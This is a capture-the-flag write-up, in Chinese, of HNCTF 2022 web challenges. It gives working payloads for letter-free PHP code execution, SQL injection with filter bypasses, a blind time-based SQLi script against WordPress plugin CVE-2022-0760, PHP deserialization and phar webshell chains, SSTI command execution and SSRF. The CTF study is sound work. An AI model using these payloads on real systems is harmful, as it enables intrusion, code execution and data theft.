前言
梦开始的地方啊…令人感叹
WEEK1
第一周我这里就写一下Challenge__rce的wp,其它几题无聊的时候再补(
Challenge__rce
无字母RCE
进入题目,f12注释提示我们get传入hint
传入后得到源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<title>Challenge_rce</title>
<link rel="stylesheet" type="text/css" href="./css/index.css"/>
</head>
<body>
<!--?hint-->
</body>
</html>
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
过滤所有字母和很多字符,是无字母RCE,因为过滤了~
和^
,这里只能采用自增来做,同时限制了payload的长度不能超过120
注意这里把/
禁用了,所以不能构造NAN_
,只能用Array来构造chr函数获取字符
payload(长度118):
$___.=[];$_=$___[3];$_++;$_++;$__=$_++;$_++;$_++;$_++;$__.=++$_.$___[2];$_=_.$__(71).$__(69).$__(84);($$_{1})($$_{2});
记得url编码一下
WEEK2
easy_sql
无列名注入
fuzz脚本测试了一下,发现and、sleep、handler、extractvalue、@、#、–、空格、information_schema被禁用了
首先,空格可以用/**/
来替代
然后是过滤了#
和--
,也就意味着我们要自行闭合语句
接着是information_schema,意味着我们要进行无列名注入
测试回显
id=0'/**/union/**/select/**/1,2,4/**/where/**/1='1
找到注入点,直接查全部数据库的名字
id=0'union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/1='1
flag在数据库ctftraining里
爆表
id=0'union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='ctftraining
爆字段
id=0'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/where/**/1='1
easy_unser
反序列化wakeup绕过+php伪协议
<?php
include 'f14g.php';
error_reporting(0);
highlight_file(__FILE__);
class body
{
private $want, $todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
public function __construct($want)
{
$About_me = "When the object is created,I will be called";
if ($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup()
{
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this->want = $but;
echo "C1ybaby!";
}
function __destruct()
{
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if ($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if ($this->want == "I can CHANGE you")
die("You are not you....");
if ($this->want == "f14g.php" or is_file($this->want)) {
die("You want my heart?No way!\n");
} else {
echo "You got it!";
highlight_file($this->want);
}
}
}
class unserializeorder
{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep()
{
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString()
{
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}
$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);
if (isset($_GET['ywant'])) {
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
出口在body::__destruct()
的highlight_file
所以要避开if语句的几个条件:$this->todonothing === $this->want
,$this->want == "I can CHANGE you"
,$this->want == "f14g.php" or is_file($this->want)
而body类中首先执行的是__wakeup()
,会使$want
的值为I can CHANGE you,所以要绕过这个魔术方法
发现php版本是7.0.9,有CVE-2016-7124的trick
然后是__construct($want)
,$want是我们可控的,那么就是用$want
去读文件
而is_file
不会将伪协议当作文件,但highlight_file
认为伪协议可以是文件,所以我们用伪协议去读
注:这里$want是私有变量,序列化得带上%00类名%00变量名
或者urlencode
至于下面的unserializeorder类是完全用不到的
exp:
<?php
class body
{
private $want, $todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
public function __construct($want)
{
if ($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
}
$obj = new body("php://filter/read=convert.base64-encode/resource=f14g.php");
$obj = serialize($obj);
echo $obj;
#O:4:"body":2:{s:10:"bodywant";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:17:"bodytodonothing";s:76:"i can't get you want,But you can tell me before I wake up and change my mind";}
payload:
?ywant=O:4:"body":3:{s:10:"%00body%00want";s:57:"php://filter/read=convert.base64-encode/resource=f14g.php";s:17:"bodytodonothing";s:76:"i can't get you want,But you can tell me before I wake up and change my mind";}
base64解码得到flag
ez_SSTI
ssti
没有过滤
payload一把梭
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
ez_ssrf
ssrf
访问index.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
fsockopen()函数
fsockopen ($hostname , $port, $errno , &$errstr , $timeout = ini_get("default_socket_timeout"))
用于建立一个 socket 连接
通过fwrite可以将data写入当前会话
demo:
<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.example.com\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
于是可以构造一个请求头,用于读取服务器本地文件
GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close
base64编码一下请求头作为data的值传入
payload:
/index.php?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80
easy_include
日志包含
懒得复现了(
Canyource
无参rce
懒得复现了(
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>
ohmywordpress
CVE-2022-0760
cve参考链接:https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210/
拿着测试的payload在/wp-admin/admin-ajax.php下post传参
action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)
在题目给的源码中跟踪找到对应的sql语句
$results = $wpdb->get_results("SELECT * FROM $wpdb->postmeta WHERE post_id = $post_id AND meta_key = 'qcopd_list_item01'");
那接下来就是要盲注了
exp:
import requests
import time
url = 'http://node5.anna.nssctf.cn:28180/wp-admin/admin-ajax.php'
dicts = r'NSSCTF{-abcdef0123456789}'
flag = ''
for i in range(1,50):
for s in dicts:
payload = "(SELECT 3 FROM (SELECT if(ascii(substr((select group_concat(flag) from ctftraining.flag),{},1))={}, sleep(5),0))enz)".format(i,ord(s))
start_time = time.time()
res = requests.post(url,data={
'action': 'qcopd_upvote_action',
'post_id': payload
})
stop_time = time.time()
if stop_time - start_time >= 5:
flag += s
print(flag)
break
WEEK3
Fun_php
php特性套娃
<?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;
$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];
$data = @$_POST['data'];
$verify = @$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];
if ("Welcom" == 0 && "T0" == 0 && "1he" == 1 && "HNCTF2022" == 0)
echo "Welcom T0 1he HNCTF2022<BR>";
if ("state_HNCTF2022" == 1) echo $hint;
else echo "HINT? NoWay~!<BR>";
if (is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
if ($user == 114514 && $getpass == $pass) {
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if (md5($getmySaid) != md5($getmyHeart)) {
die("Cheater!");
} else
$week_1 = true;
}
if (is_array($data)) {
for ($i = 0; $i < count($data); $i++) {
if ($data[$i] === "Probius") exit();
$data[$i] = intval($data[$i]);
}
if (array_search("Probius", $data) === 0)
$week_2 = true;
else
die("HACK!");
}
if ($week_1 && $week_2) {
if (md5($data) === md5($verify))
// HNCTFWelcome to
if ("hn" == $_GET['hn'] & + !! & " Flag!ctf" == $_GET[LAGctf]) { //HN! flag!! F
if (preg_match("/php|\fl4g|\\$|'|\"/i", $want) or is_file($want))
die("HACK!");
else {
echo "Fine!you win";
system("cat ./$want");
}
} else
die("HACK!");
}
套了很多特性,一个个看
第一段:
$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];
if (is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
if ($user == 114514 && $getpass == $pass) {
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if (md5($getmySaid) != md5($getmyHeart)) {
die("Cheater!");
} else
$week_1 = true;
}
首先传入的$getUserID
必须是一个字符串,然后进行$user = $user + $getUserID
,注释提示$user
的值不以数字开头,而下面又要让$user == 114514
纯字符串与数字相加,可以得到后者数字的值
0与任何字符串比较都会返回1
接下来是$getmySaid
,ctype_alpha
函数会做纯字符检测,而$getmyHeart
必须为纯数字,然后进行md5值检测
翻一下md5弱比较的字符串,有QNKCDZO
和240610708
第二段:
$data = @$_POST['data'];
if (is_array($data)) {
for ($i = 0; $i < count($data); $i++) {
if ($data[$i] === "Probius") exit();
$data[$i] = intval($data[$i]);
}
if (array_search("Probius", $data) === 0)
$week_2 = true;
else
die("HACK!");
}
首先检查$data
是否是数组,然后遍历数组检查是否有元素存在字符串 “Probius”,然后用intval()
将数组元素转换为整数类型,接着检查”Probius”是否在数组的第一个位置
一样是与0比较的匹配实现绕过
第三段:
$verify = @$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];
if ($week_1 && $week_2) {
if (md5($data) === md5($verify))
// HNCTFWelcome to
if ("hn" == $_GET['hn'] & + !! & " Flag!ctf" == $_GET[LAGctf]) { //HN! flag!! F
if (preg_match("/php|\fl4g|\\$|'|\"/i", $want) or is_file($want))
die("HACK!");
else {
echo "Fine!you win";
system("cat ./$want");
}
} else
die("HACK!");
}
md5强比较数组绕过即可
代码复制到vscode里可以发现存在不可见unicode字符
整段unicode参数和值复制下来传参即可
底下$want
用通配符读flag即可
flag在html源码中
ez_phar
phar文件上传
<?php
show_source(__FILE__);
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$filename = $_GET['filename'];
file_exists($filename);
?>
给了一个Flag类,底下有file_exists
函数,两者相结合可知这题考的是phar反序列化
同时存在upload.php页面可以上传jpg、png、jpeg文件
生成phar图片马
<?php
class Flag{
public $code;
}
$o=new Flag();
$o->code='eval($_GET["cmd"]);';
@unlink('test.phar'); //删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$phar->setMetadata($o); //写入meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();//签名自动计算
上传phar文件,抓包改后缀为png
这题文件默认会上传到upload目录,直接伪协议读取然后执行shell
http://ip:port/?filename=phar://upload/test.png&cmd=phpinfo();
事后把upload.php爬了下来
<?php
$filename = $_FILES["file"]["name"];
if($filename) {
# 获取后缀名
$uptype = strtolower(end(explode(".", $filename)));
if (in_array($uptype, array('jpg', 'png', 'jpeg'))) {
move_uploaded_file($_FILES["file"]["tmp_name"], 'upload/' . $filename);
print_r("上传成功!");
} else {
print_r("only jpg png jpeg");
die(0);
}
}
?>
ssssti
ssti
ban了'
,"
,args
,os
,_
用request参数逃逸就行
payload:
?name={{(lipsum|attr(request.values.c)).get(request.values.a).popen(request.values.b).read()}}&a=os&b=cat /flag&c=__globals__
WEEK4
pop子和pipi美
反序列化pop链
进入题目,告诉我们“pop子和pipi美的日常 第二季更新啦!看番获取hint哦~($_GET[‘pop_EP’]) ”
意思是我们传入参数pop_EP
的值是这部番剧的ep号:ep683045
?pop_EP=ep683045
得到源码
<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {
private $No_893;
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
include($anti_takeshobo);
}
}
class Pipimi{
public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->pipi = array();
}
public function __get($corepop){
$function = $this->p;
return $function();
}
}
class Goodsisters{
public function PopukoPipimi(){
$is = "Good sisters";
}
public $kiminonawa,$str;
public function __construct($file='index.php'){
$this->kiminonawa = $file;
echo 'Welcome to HNCTF2022 ,';
echo 'This is '.$this->kiminonawa."<br>";
}
public function __toString(){
return $this->str->kiminonawa;
}
public function __wakeup(){
if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
echo "仲良ピース!";
$this->kiminonawa = "index.php";
}
}
}
if(isset($_GET['pop'])) @unserialize($_GET['pop']);
else{
$a=new Goodsisters;
if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
highlight_file(__FILE__);
echo '欸嘿,你也喜欢pop子~对吧ww';
}
}
反序列化pop链,我们的利用点出口在Popuko::append
的文件包含上
链子:Goodsisters::__construct -> Goodsisters::__toString -> Pipimi::__get -> Popuko::__invoke -> Popuko::append
这里的过滤形同虚设,我们直接用php伪协议读f14g.php
exp:
<?php
class Popuko
{
private $No_893="php://filter/read=convert.base64-encode/resource=f14g.php";
}
class Pipimi
{
public $pipi;
}
class Goodsisters
{
public $kiminonawa, $str;
}
$a=new Goodsisters();
$a->kiminonawa=new Goodsisters();
$a->kiminonawa->str=new Pipimi();
$a->kiminonawa->str->p=new Popuko();
echo serialize($a);
注意有private变量,需要%00处理
payload:
?pop_EP=ep683045&pop=O:11:"Goodsisters":2:{s:10:"kiminonawa";O:11:"Goodsisters":2:{s:10:"kiminonawa";N;s:3:"str";O:6:"Pipimi":2:{s:4:"pipi";N;s:1:"p";O:6:"Popuko":1:{s:14:"%00Popuko%00No_893";s:57:"php://filter/read=convert.base64-encode/resource=f14g.php";}}}s:3:"str";N;}
fun_sql
堆叠注入
<?
include "mysql.php";
include "flag.php";
if ( $_GET['uname'] != '' && isset($_GET['uname'])) {
$uname=$_GET['uname'];
if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
die('hacker');
}
$sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
echo "$sql<br>";
mysqli_multi_query($db, $sql);
$result = mysqli_store_result($db);
$row = mysqli_fetch_row($result);
echo "<br>";
echo "<br>";
if (!$row) {
die("something wrong");
}
else
{
print_r($row);
echo $row['uname']."<br>";
}
if ($row[1] === $uname)
{
die($flag);
}
}
highlight_file(__FILE__);
少见的给了源码的sql注入,只要查询ccctttfff表里面索引为1即第二个元素与我们传入的uname相等即可得到flag
sql语句为
SELECT * FROM ccctttfff WHERE uname='$uname';
那么我们先查一下ccctttfff表有几列
?uname=1'order by 3--+
一直爆something wrong,看来是数据库里面没东西
查一下回显位
?uname=1'union select 1,2,3--+
总共三位,接下来就是思考如何满足判断条件得到flag,我们虽然可以用union select
来为查询结果赋值,但是我们无法同时使uname的值和查询结果的第二个数据相同(quine注入的replace
被ban了)
那么我们的思路就转变为插入数据,可以发现正则里面是没有过滤;
的,那么就可以堆叠注入
payload:
?uname=1';insert into ccctttfff values('a','b','c');--+
然后?uname=b
即可得到flag
非预期
直接load_file
查询flag.php,flag用concat
拼接
payload:
?uname=0'union select 1,load_file(concat('/var/www/html/fla','g.php')),3--+
ctrl+u查看页面得到flag